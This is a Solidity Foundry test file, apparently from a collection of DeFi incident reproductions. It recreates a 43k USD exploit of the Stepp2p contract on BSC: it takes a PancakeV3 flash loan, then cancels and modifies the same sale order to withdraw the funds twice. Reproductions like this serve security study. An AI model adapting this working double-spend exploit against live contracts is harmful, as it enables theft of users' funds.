src/test/2025-07/Stepp2p_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 43k USD
8// Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341
9// Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993
10// Vulnerable Contract : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce
11// Attack Tx : https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1946887946877149520
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant PANCAKE_V3_USDC_USDT = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;
23address constant STEPP2P = 0x99855380E5f48Db0a6BABeAe312B80885a816DCe;
24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
25 
26contract Stepp2p is BaseTestWithBalanceLog {
27    uint256 blocknumToForkFrom = 54653987 - 1;
28 
29    function setUp() public {
30        vm.createSelectFork("bsc", blocknumToForkFrom);
31        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
32        fundingToken = BSC_USD;
33    }
34 
35    function testExploit() public balanceLog {
36        //implement exploit code here
37        bytes memory data = "0x623269464a7178";
38        IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);
39    }
40 
41    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
42        uint256 amount = IERC20(BSC_USD).balanceOf(STEPP2P);
43 
44        IERC20(BSC_USD).approve(STEPP2P, amount);
45        uint256 saleId = IStepp2p(STEPP2P).createSaleOrder(amount);
46        // cancelSaleOrder + modifySaleOrder on same saleId both transfer funds — results in double spend.
47        IStepp2p(STEPP2P).cancelSaleOrder(saleId);
48        IStepp2p(STEPP2P).modifySaleOrder(saleId, amount, false);
49 
50        IERC20(BSC_USD).transfer(PANCAKE_V3_USDC_USDT, 50_000 ether + fee0);
51    }
52}
53 
54interface IStepp2p {
55    function createSaleOrder(uint256 _amount) external returns (uint256);
56    function cancelSaleOrder(uint256 _saleId) external;
57    function modifySaleOrder(uint256 _saleId, uint256 _modifyAmount, bool isPostive) external;
58}